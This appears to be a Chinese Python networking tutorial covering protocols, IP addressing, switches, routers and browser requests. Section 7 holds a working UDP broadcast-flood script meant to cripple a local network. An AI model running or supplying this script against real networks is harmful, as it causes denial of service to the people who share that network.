广告
返回顶部
首页 > 资讯 > 后端开发 > Python >python网络通信图文详解
  • 231
分享到

python网络通信图文详解

pythonpython网络通信 2022-06-02 22:06:15 231人浏览 独家记忆

Python 官方文档:入门教程 => 点击学习

摘要

目录1. 常用的网络协议2. 数据传输过程3.  两台电脑通信4. IP地址网络号与主机号的确定规则 5.  最开始集线器解决多台电脑通信 6. 使用交换机进行网络通信7. 使

目录
  • 1. 常用的网络协议
  • 2. 数据传输过程
  • 3.  两台电脑通信
  • 4. IP地址网络号与主机号的确定规则 
  • 5.  最开始集线器解决多台电脑通信
  •  6. 使用交换机进行网络通信
  • 7. 使用udp协议实现内网瘫痪
  • 8. 使用路由器连接多个网络
  • 9. 浏览器访问服务器的过程
  • 总结

1. 常用的网络协议

ICMP协议又叫:网络控制协议 

2. 数据传输过程

3.  两台电脑通信

网络传输的是数据的信号而不是电流

4. IP地址网络号与主机号的确定规则 

通过ip地址和网络掩码的二进制数实行按位与运算,计算的结果转换为十进制,非0的就是网络号,0的就是主机号

 

5.  最开始集线器解决多台电脑通信

但是集线器是以广播的形式发送数据,设备一多就会导致网络拥堵。

 6. 使用交换机进行网络通信

单播写对方的Mac地址,广播mac地址写6组FF:FF:FF:FF:FF:FF

 

7. 使用udp协议实现内网瘫痪

先根据IP地址和网络掩码二进制按位与计算出网络号,在使用udp往当前局域网(网络号)下面无线循环发广播,使局域网濒临瘫痪


import Socket  # 导入socket


def main():
    try:
        # 1、创建socket套接字
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # socket.SOCK_DGRAM 这里是指定UDP协议

        # 2、指定地址
        data_address = ("192.168.255.255", 64300)
        # 地址要是一个 元组,第一个"192.168.100.255"是内网的广播地址,第二个 64300 是你计算机当前的端口#
        # 这个端口不必太在意,64300 只要不是被其他程序占用的就行,

        # 3、发送数据
        while True:
            send_data = "1" * 57175
            # 这里发送的数据可以随意点

            udp_socket.sendto(send_data.encode("UTF-8"), data_address)
            # 第一个参数sendData.encode("UTF-8")是要发送的数据,("UTF-8")是设置发送数据的编码,
            # 第二个参数(dataAddress)是发送数据的地址,也就是笔者内网的广播地址

    except Exception as result:
        print("未知错误" + str(result))


if __name__ == '__main__':
    main()

8. 使用路由器连接多个网络

路由器的作用:连接两个以上的网络为一个大网络

网关:具有转发数据能力的设备

当AB两台电脑不在同一个网络下想进行通信时,A电脑需要先把数据发送到默认网关,网关具有转发数据的能力,网关再把数据转发给B电脑,默认网关一般都是路由器

数据在转发的过程当中,ip地址不变,mac地址每转发一次就发生一次变化

9. 浏览器访问服务器的过程

(1)向DNS服务器发送请求进行解析域名

(2)向Http服务器发送3次握手

(3)握手成功后,向http服务器发送Http格式的请求数据

(4)所有请求完毕后,向http服务器发送4次挥手

网络数据包发送过程当中源IP目标IP不变,源mac和目标mac每通过路由器网关转发一次就会发生一次变化

总结

本篇文章就到这里了,希望能给你带来帮助,也希望您能够多多关注编程网的更多内容!

--结束END--

本文标题: python网络通信图文详解

本文链接: https://www.lsjlt.com/news/11219.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • python网络通信图文详解
    目录1. 常用的网络协议2. 数据传输过程3.  两台电脑通信4. IP地址网络号与主机号的确定规则 5.  最开始集线器解决多台电脑通信 6. 使用交换机进行网络通信7. 使...
    99+
    2022-06-02
    python python网络通信
  • Java网络编程之UDP网络通信详解
    目录1.UDP网络通信编程原理1.1 UDP网络通信编程介绍1.2 UDP网络通信编程的基本流程2.UDP网络通信编程案例1.UDP网络通信编程原理 1.1 UDP网络通信编程介绍 ...
    99+
    2022-11-13
  • AndroidBinder通信原理图文详解
    目录前言1. Binder的作用2. 进程与Binder驱动如何通信3. ServiceManager进程的作用Binder Client、Binder Server、Service...
    99+
    2022-11-13
    Android Binder 通信 Android Binder
  • JavaTCP网络通信协议详细讲解
    TCP与UDP都属于TCP/IP协议 TCP(Transmission Control Protocol,传输控制协议)是面向连接的协议,也就是说,在收发数据前,必须和对方建立可靠的...
    99+
    2022-11-13
  • Python学习 :网络通信要素
     网络通信   OSI 模型   - 定义了计算机互联的标准,是设计和描述计算机网络通信的基本框架   - 把网络通信的工作分为7层,分别是物理层、链路层(数据网络层)、网络层、传输层、会话层、表示层和应用层     网络通信的三要素 ...
    99+
    2023-01-31
    网络通信 要素 Python
  • python 网络通信协议/TCP,UD
    一.osi七层协议 互联网协议按照功能不同分为osi七层或tcp/ip五层或tcp/ip四层 协议具体内容   各层的功能简述: 【1】物理层:主要定义物理设备标准,如网线的接口类型、光纤的接口类型、各种传输介质的传输速率...
    99+
    2023-01-30
    通信协议 网络 python
  • Android 图文详解Binder进程通信底层原理
    目录🔥 什么是进程间通信🔥 什么是 Binder🔥 Android 中 IPC 的方式🔥 Binder 优势€...
    99+
    2022-11-12
  • 详解python网络进程
    目录一、多任务编程二、进程三、os.fork创建进程3.1、进程ID和退出函数四、孤儿和僵尸4.1、孤儿进程4.2、僵尸进程4.3、如何避免僵尸进程的产生五、Multiprocessing创建进程5.1、multip...
    99+
    2022-06-02
    python 网络进程
  • Python网络编程详解
    1、服务器就是一系列硬件或软件,为一个或多个客户端(服务的用户)提供所需的“服务”。它存在唯一目的就是等待客户端的请求,并响应它们(提供服务),然后等待更多请求。 2、客户端/服务器架构既可以应用于计算机...
    99+
    2022-06-04
    详解 网络编程 Python
  • 分析python并发网络通信模型
    目录一、常见模型分类1.1、循环服务器模型1.2、IO并发模型1.3、多进程/线程网络并发模型二、基于fork的多进程网络并发模型三、基于threading的多线程网络并发四、ftp 文件服务器4.1、项目功能4.2...
    99+
    2022-06-02
    python 并发 python网络通信模型
  • dm.jdbc.driver.DMException网络通信异常如何解决
    本篇内容主要讲解“dm.jdbc.driver.DMException网络通信异常如何解决”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“dm.jdbc.driver.DMException网络通...
    99+
    2023-07-05
  • Python实现socket库网络通信套接字
    目录Socket网络通信套接字什么是套接字?地址簇套接字类型套接字的简单应用gethostbyname_ex()与gethostbyname()getservbyname()与getservbyport()getpr...
    99+
    2022-06-02
    Python socket库 Python socket套接字 Python网络通信
  • 详解Python Socket网络编程
    Socket 是进程间通信的一种方式,它与其他进程间通信的一个主要不同是:它能实现不同主机间的进程间通信,我们网络上各种各样的服务大多都是基于 Socket 来完成通信的,例如我们每天浏览网页、QQ 聊天、...
    99+
    2022-06-04
    详解 网络编程 Python
  • Python的进程间通信详解
    目录进程概述队列简介多进程队列的使用使用队列在进程间通信总结进程概述 ​ 进程(Process)是计算机中已运行程序的实体。进程与程序不同,程序本身只是指令、数据及器组织形式的描述,...
    99+
    2022-11-13
  • dm.jdbc.driver.DMException网络通信异常的解决过程
    目录问题重述:报错:问题背景:尝试解决过程:最终解决方法:归纳原因:总结与强调:问题重述: IDEA中项目启动不成功,达梦数据库连接不上,报网络通信异常与连接超时错误 报错: 1.d...
    99+
    2023-02-24
    dm.jdbc.driver.dmexception dm网络通信异常 网络通信出现异常
  • Ajax请求超时与网络异常处理图文详解
    别用IE浏览器!!! 问题 当浏览器请求超时或者网络异常的时候,我们程序需要做出什么处理和反应呢? ps:代码我会在后面贴出来,思路最重要 # 请求超时 首先在==express==...
    99+
    2022-11-12
  • python中网络通信数据传输的示例
    这篇文章给大家分享的是有关python中网络通信数据传输的示例的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。python实现网络通信数据传输前言基础知识学习一、OSI 模型二、TCP、IP协议族:三、python...
    99+
    2023-06-06
  • python之Socket网络编程详解
    什么是网络? 网络是由节点和连线构成,表示诸多对象及其相互联系。在数学上,网络是一种图,一般认为专指加权图。网络除了数学定义外,还有具体的物理含义,即网络是从某种相同类型的实际问题中抽象出来的模型。在计算机...
    99+
    2022-06-04
    详解 网络编程 python
  • Python groupby函数图文详解
    一、分组原理 核心: 1、不论分组键是数组、列表、字典、Series、函数,只要其与待分组变量的轴长度一致都可以传入groupby进行分组。 2、默认axis=0按行分组,可指定ax...
    99+
    2022-11-11
  • Python LeetCode HTTP 教程:如何通过编程实现网络通信?
    Python作为一门强大的编程语言,不仅可以完成各种数据处理任务,还可以通过编写网络通信程序来实现网络通信。在本文中,我们将介绍如何使用Python编写HTTP请求程序,并通过LeetCode上的题目来加深理解。 HTTP是一种在Web上...
    99+
    2023-09-19
    leetcode http 教程
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作